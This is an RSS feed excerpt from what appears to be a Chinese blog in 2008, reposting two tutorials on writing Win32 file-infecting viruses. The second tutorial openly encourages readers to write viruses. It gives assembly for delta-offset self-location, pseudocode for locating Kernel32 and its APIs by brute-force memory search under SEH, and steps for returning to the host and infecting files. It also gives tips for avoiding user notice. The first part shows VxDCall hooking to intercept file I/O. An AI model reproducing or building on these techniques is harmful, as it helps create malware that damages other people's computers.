src="http://www.cnitblog.com/Images/dot.gif">&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>Entry:&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><img src="http://www.cnitblog.com/Images/dot.gif">&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>end&nbsp;start&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>在Intialize Code得到要用的函数入口并将它填入病毒中，在病毒运行时可以直接使用了。 </p>
<p>&nbsp;二:主要是要截留文件I/O操作。 </p>
<p>Windows下截留文件I/O操作有几种方法，在病毒中使用的主要有两种。 </p>
<p>1、使用VxDCallIFSMgr_InstallFileSystemHook&nbsp;<br>&nbsp;<br>2、截留Kernel32.dll中导出的第一个函数VxDCall对DOS </p>
<p>INT 21的呼叫（EAX=2A0010）。 </p>
<p>VxDCall的代码如下： </p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">mov&nbsp;eax,dword&nbsp;ptr&nbsp;[esp+04]&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>pop&nbsp;dword&nbsp;ptr&nbsp;[esp]&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top>call&nbsp;fword&nbsp;ptr&nbsp;cs:[xxxxxxxx]&nbsp;<br><img src="http://www.cnitblog.com/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>只要将这个地址指向的地址改为自己的过程入口，就捕获了所有的VxDCall。 </p>
<p>进入这个过程时： </p>
<p>eax=service number,如果是DOS INT 21将是2A0010 </p>
<p>esp[2c]?调用Int 21时eax的值 </p>
<p>算漏了个pushad,应该是10h </p>
<p>esp[30] 调用int 21时ecx的值 </p>
<p>14h </p>
<p>其他寄存器为调用时所需的值。（段寄存器无用） </p>
<p>以后的就和在DOS下写病毒没什么差别了。 </p>
<p>在WINDOWS下写病毒,如何得到API的入口是一件麻烦的事. 可以直接使用的API都在DLL中,而VXDCALL要在RING0时才能使 用,DOS的INT 21服务也不能直接调用. 得到DLL中的API入口有两种方法: </p>
<p>1.加载时得到,建立一个 IMPORT TABLE,在加载时WINDOWS会根据IMPORT TABLE定位API的 入口地址.这是一般应用程序的使用的方法,但不大适合病毒. </p>
<p>2.运行时得到,使用GetModuleHandle和GetProcAddress得到API的入口,但前提时要知道GetModuleHandle和GetProcAddress的 入口地址.:&lt; 这是明显也是不可能的。<br></p>
<img src ="http://www.cnitblog.com/Walter/aggbug/52048.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Walter/" target="_blank">HQ</a> 2008-11-28 21:00 <a href="http://www.cnitblog.com/Walter/articles/52048.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>编写Win32位病毒教程（1） (转)</title><link>http://www.cnitblog.com/Walter/articles/52047.html</link><dc:creator>HQ</dc:creator><author>HQ</author><pubDate>Fri, 28 Nov 2008 12:57:00 GMT</pubDate><guid>http://www.cnitblog.com/Walter/articles/52047.html</guid><wfw:comment>http://www.cnitblog.com/Walter/comments/52047.html</wfw:comment><comments>http://www.cnitblog.com/Walter/articles/52047.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Walter/comments/commentRss/52047.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Walter/services/trackbacks/52047.html</trackback:ping><description><![CDATA[<strong>免责声明：<br></strong>如果有人因为看了本文而写出任何恶性病毒进而对社会造成任何危害，一切后果与本人无关。本人只是讨论一些理论知识而已。如果你对病毒不感兴趣甚至讨厌病毒，请立刻离开这里，也不要妄加评论。<br>写本文的目的：<br>1，像普及性知识那样普及病毒知识，即使是老处男（说我呢？郁闷中）老处女也要懂性知识，所以爱好编程的也最好懂一些病毒的编写原理。<br>（为何总拿性知识做比喻？因为中国人对性知识都很有兴趣，但对之讳莫如深，不敢或者不好意思明说，而程序员一般也对病毒知识很有兴趣，也不敢或者不好意思明说。所以从社会的角度讲，性知识和病毒知识很相似）<br>2，发扬中国的病毒事业。为什么要发扬？去看我的其它文章。（但不要猜测我是AVer，我只是一个做苦力的普通编码程序员。）<br>本文面向的读者：<br>1，熟悉Win32汇编。不懂汇编只懂VB？没错，VB也可以写出&#8220;病毒&#8221;，但那是不是太惨了点？<br>2，熟悉PE结构。faint！如果连PE文件结构都不知道，还去感染谁啊。<br>3，对病毒有&#8220;严重&#8221;的热爱，至少也不要讨厌。由于本文含有可能招致PC用户不满的成分，所以如果你不喜欢病毒，请快快离去。<br>4，如果你是个病毒高手，不要笑本文的肤浅，这本来就是入门文章，希望籍此能出现一大批中国人写的病毒。<br>5，这是最基本的病毒编写入门技术，如果你真的是高手（你真的是高手？你怎么会真的是高手？？？:)），可以不用看了。<br>本文是我的另一篇文章《Win32 PE病毒入门教程》的姊妹作，那篇文章出来以后，大家普遍认为不够入门，难以把握，所以就有了这篇更入门的文章。<br>第一篇：工欲善其事，必先利其器－－工具篇<br>因为本文只讨论用汇编语言编写病毒，所以只介绍一些汇编的编程和调试工具。<br>一，TASM 5.0<br>一般病毒作者都比较喜欢用TASM（也是我的最爱），用MASM和NASM的很少，主要是因为TASM可以更灵活，让人更加自由地发挥。这里所指的，是全套的TASM，包括TASM32，TLINK32，TD32，BRC等等。<br>这些都是命令行工具，需要在DOS窗下运行。<br>具体命令行参数可以看帮助，要注意在tasm32中加上/m7和/ml开关，前者让tasm多趟扫描，可以产生更优化的代码，后者是大小写敏感开关，是Win32汇编需要的。而tlink32则用/Tpe产生PE格式的文件，/aa产生windows程序。<br>我的习惯，是把tasm32和tlink32放在一个批处理里，这样不必总敲繁琐的命令行。<br>二，VC<br>你可能会奇怪，写汇编干嘛要用VC？呵呵，这里是把VC当作一个调试器来用。在调试Win32程序的时候，VC要比TD好用些。你可以试试，对于一般的Win32程序（包括病毒），甚至不用SoftIce都可以顺利地很容易地调试。<br>三，SoftIce<br>调试利器，在写某些类型的病毒的时候离开它真的不行。尤其是写和Windows核心相关的病毒，ring3调试器根本不行了，即使你的病毒还是运行在ring3上。<br>四，PE格式查看工具<br>这是写PE病毒必须的，你需要经常查看PE文件的格式。<br>我新写了个PEViewer，BCB写的，好大，但好有用，还在改进中。<br>TASM里有一个tdump，命令行的，也不错，不过用起来比较麻烦。<br>五，UltraEdit<br>你可以用任何文本编辑器（notepad，word）来编辑汇编代码，但我的最爱是UltraEdit。<br>以上这些工具，缺少哪个都会让我不爽。用这些工具，足可以写出任何病毒了。你认为呢？<br>第二篇：开始病毒地狱之旅－－编码入门篇<br>一，定位<br>一个病毒不知道自己会感染host程序什么地方，所以也就不知道自己的地址，也就不能去引用内存变领。所以一般一个病毒一上来就是给自己定位。<br>call GetVirAddr<br>GetVirAddr:<br>pop ebp<br>现在ebp指向GetVirAddr了，要想把变量Var1送入eax，则<br>mov eax,[ebp+Var1-GetVirAddr]<br>就可以了。<br>很多病毒（如Funlove），把上面的定位写成一个单独的sub routine，然后通过减法使ebp总是指向某一个固定位置。这种方式写起来容易，不必总要定位，但不利于优化代码。<br>二，获取Kernel32的API<br>这也是Win32病毒必须做的，因为它要用到API，没有API地址它什么都做不了。<br>但病毒不能有import table，所以一般的方法是暴力搜索内存空间。<br>这在我的另外一篇文章《Win32 PE病毒入门教程》里讲得很详细了，故摘抄过来，但改了一点小错误。<br>注意，这种方法需要你对PE格式非常熟悉。<br>&#8221;病毒无import table，而且现在已经不时髦去攫取host程序的import table了。<br>现在通用的技术是从4G的地址空间中暴力搜索Kernel32的基地址，然后从Kernel32的export table中找到所需要的API的地址。一旦有了Kernel32的API，想导入其它DLL的API也就容易了，至少可以用LoadLibraryA和 GetProcAddress（呵呵，好基本的方法）。<br>首先要确定Kernel32的基地址。<br>这个地址在98，2K，XP下都不同。注意，一个好的病毒不能过分依赖某个OS的特性，所以我们不能在病毒体内写个死的77E80000。所以我们要搜出来。一般一个程序执行时，Kernel32都被映射到它的地址空间了，这就是我们为什么可以搜索它的地址的原因。<br>看看三个OS的基地址，98为BFF70000,2K为77E80000,XP为77E60000，Ok，都在70000000以上，我们可以就从这里开始。当然如果一个一个字节搜索，那么也太慢了，一般DLL定位都在1M边界，所以我们可以以10000为跨度。<br>还有一个问题，4G空间不全是可读的，搜到某个地方就会出现GPE错误。怎么办？hmmmmmmmmmmmm，M$已经想到了这点，在Win32里提供了一种叫做SEH的技术，可以让你掐死出现的错误，使你的程序继续执行而不崩溃。具体SEH在汇编中的写法，只要几条指令，大家可以自己去找些病毒看一下就知道了。<br>注意到PE文件和内存中的映像很相似，所以我们就可以按下面这个方式来搜索Kernel32<br>ebx-&gt;current address,now is 70000000h<br>Set SEH frame<br>#1<br>ebx = ebx + 10000h<br>if ebx == 0 then 郁闷中。没找到Kernel32？？？是崩溃还是返回host随你了，我无话可说。<br>word ptr [ebx] == 'ZM' ?no,goto #1<br>eax = [ebx + 3ch] ；另外一篇文章中的这两行写的特别别扭，很像C语言，现在改得更&#8221;汇编&#8220;些<br>eax = ebx + eax<br>word ptr [eax] =='EP' ?no,goto #1 ；另外一篇文章中的这行有错误，把eax写成了ebx，现在改过来了，看来&#8221;狂饮啤酒&#8220;和&#8221;没喝啤酒&#8220;效果真的不一样*^__^*<br>now we are sure this is a PE image,let's look up whether it's a dll,if not,goto #1<br>then check the export dll name ,if it's not 'KERNEL32.DLL',goto #1<br>Now go into it's export table,get the APIs address which we use to start our smart work,hahahaha.<br>Remove SEH frame<br>......<br>SEH handler:<br>resume to #1<br>具体细节问题，大家自己去研究。目前大多数Win32病毒都是这个过程，当然具体实现方法会有不同。&#8220;<br>找到Kernel32的API以后，就可以导入其它dll中要用到的API了。<br>注意，把API地址存在一个数组里，然后用下面方法调用（过分初级了:(）<br>push large param_n<br>......<br>push large param_1<br>call [ebp+Func-GetVirAddr]<br>注意，所有的Win32 API都是从右至左压栈的。<br>三，返回host程序<br>做完初始化的工作后，要尽快返回host程序，否则容易被发现。<br>但病毒还要继续运行，所以一般都是分配一块内存（VirtualAlloc），把自己copy进去，用CreateThread在那里启动一个线程，然后就可以返回host了。<br>push large hostentry ;here will be filled when infecting<br>retn<br>或者<br>mov eax,hostentry<br>jmp eax<br>等等，等等。<br>hostentry存放的是感染时原程序的entry point。<br>四，感染<br>感染是一个病毒的生存的根本，没有感染就没有生存，感染是病毒的面包。<br>一般Win32病毒，难以hook系统API（有一些变通的方法，但不属于入门了），所以只能*反复搜索硬盘文件的方式来进行感染。 FindFirstFile，FindNextFile，FindClose，这三个API就可以完成所有的搜索任务。但搜索要掌握好时间，太快会让硬盘无故狂转，容易被用户发现，太慢又实在无法大量感染文件，所以要掌握火候，这就凭经验了。<br>找到一个文件后，感染之，大家应该学会用File mapping API，这样可以快速地对文件进行操作。具体感染方法，各种各样，具体可自行研究或参考其它病毒。<br>第三篇：咬文嚼字－－名词解释篇<br>1,VXer--Virus maker，病毒作者，很多人羡慕并想加入的群体。<br>2,AVer--Anti-virus maker（或者叫Anti-viruser？），反病毒者。他们和VXer既是敌人又是朋友，没有VXer&lt;SPAN style="FONT-SIZE<br>
<img src ="http://www.cnitblog.com/Walter/aggbug/52047.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Walter/" target="_blank">HQ</a> 2008-11-28 20:57 <a href="http://www.cnitblog.com/Walter/articles/52047.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>